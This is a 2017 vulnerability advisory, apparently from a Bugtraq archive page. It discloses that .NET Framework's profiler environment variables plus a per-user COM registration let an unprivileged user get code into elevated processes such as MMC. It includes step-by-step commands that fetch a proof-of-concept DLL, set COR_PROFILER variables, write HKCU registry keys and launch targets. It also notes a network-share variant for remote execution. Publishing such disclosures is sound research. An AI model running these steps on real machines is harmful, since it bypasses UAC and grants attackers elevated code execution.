Microsoft .NET Privilege Escalation

Published
Credit
Risk
2017.07.08
Stefan Kanthak
Medium
CWE
CVE
Local
Remote
CWE-264
N/A
No
Yes

Hi @ll,

all versions of .NET Framework support to load a COM object as
code profiler, enabled via two or three environment variables.

>From <https://msdn.microsoft.com/en-us/library/bb384393.aspx>

| A profiler DLL is an unmanaged DLL that runs as part of the
| common language runtime execution engine. As a result, the code
| in the profiler DLL is not subject to the restrictions of managed
| code access security. The only limitations on the profiler DLL are
| those imposed by the operating system on the user who is running
| the profiled application.

>From <https://msdn.microsoft.com/en-us/library/bb384689.aspx>:

| When both environment variable checks pass, the CLR creates an
| instance of the profiler in a similar manner to the COM
| CoCreateInstance function. The profiler is not loaded through a
| direct call to CoCreateInstance. Therefore, a call to CoInitialize,
| which requires setting the threading model, is avoided.

>From <https://msdn.microsoft.com/en-us/library/bb756926.aspx>:

| Beginning with Windows Vista(r) and Windows Server(r) 2008, if the
| integrity level of a process is higher than Medium, the COM
| runtime ignores per-user COM configuration and accesses only
| per-machine COM configuration. This action reduces the surface
| area for elevation of privilege attacks, preventing a process
| with standard user privileges from configuring a COM object with
| arbitrary code and having this code called from an elevated process.


Let's see how "similar" .NET Framework's manners are:

0. logon to the user account created during Windows setup;

1. fetch
<https://skanthak.homepage.t-online.de/download/SENTINEL.CAB>
and store it in an arbitrary directory, for example
"%USERPROFILE%\Downloads";

2. start an UNPRIVILEGED command prompt in this directory and run
the following command lines to

2.a) unpack I386\SENTINEL.DLL, AMD64\SENTINEL.DLL and IA64\SENTINEL.DLL
from SENTINEL.CAB to the current directory:

EXPAND.EXE /R SENTINEL.CAB /F:*.DLL "%CD%"

2.b) set the environment variables:

SET COR_ENABLE_PROFILING=1
SET COR_PROFILER={32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}

JFTR: the CLSID doesn't matter, use any CLSID you like!

2.c) register SENTINEL.DLL as per-user COM object:

SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\%COR_PROFILER%\InProcServer32
IF %PROCESSOR_ARCHITECTURE% == x86 (
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\I386\SENTINEL.DLL" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F ) ELSE (
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\%PROCESSOR_ARCHITECTURE%\SENTINEL.DLL" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\%COR_PROFILER%\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\I386\SENTINEL.DLL" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F )
SET KEY=

JFTR: registration is only necessary for targets using .NET
Framework before version 4; from version 4 onward, the
following command can be used instead

SET COR_PROFILER_PATH=%CD%\%PROCESSOR_ARCHITECTURE%\SENTINEL.DLL

2.d) start PowerShell or any other .NET application:

POWERSHELL.EXE

Notice the message boxes displayed from SENTINEL.DLL: PWNED!

2.e) start the Microsoft Management Console:

START MMC.EXE SECPOL.MSC
START MMC.EXE EVENTVWR.MSC

Notice the message boxes displayed from SENTINEL.DLL running with
integrity level HIGH: PWNED!

JFTR: to achieve remote code execution with elevation of privilege
instead of local code execution with elevation of privilege
place the "profiler" DLL on an arbitrary network share and
use its UNC path instead of the local path.


Now compare this behavior to the "Manifestation" stated on
<https://msdn.microsoft.com/en-us/library/bb756926.aspx>:

| Applications that are run-elevated (whether manifested as Require
| Administrator or user-selected by right-clicking and selecting
| Run as Administrator), as well as applications run from an account
| that is a member of the Administrators group where User Account
| Control (UAC) is disabled, will not be able to access any COM objects
| configured per-user.


Also don't forget (unlike the .NET developers) to read
<https://blogs.msdn.microsoft.com/vistacompatteam/2006/10/17/per-user-com-on-vista-for-elevated-token-processes/>
<https://blogs.msdn.microsoft.com/cjacks/2007/02/21/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista/>
<https://blogs.msdn.microsoft.com/cjacks/2008/06/06/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista-sp1/
>
<https://blogs.msdn.microsoft.com/cjacks/2008/07/22/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista-sp1-
part-2-ole-automation/>


Mitigations:
~~~~~~~~~~~~

* dump .NET Framework and all applications that use it!

* dump UAC!

* use STRICT privilege separation!


stay tuned
Stefan Kanthak


Timeline:
~~~~~~~~~

2017-06-23 vulnerability report sent to vendor

2017-06-23 reply from vendor:
"MSRC case 39303 opened"

2017-07-05 reply from vendor:
"UAC is not a security boundary. As such, this does not
meet the bar for an explicit down level fix."

2017-07-05 report published



References:

https://msdn.microsoft.com/en-us/library/bb384393.aspx


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com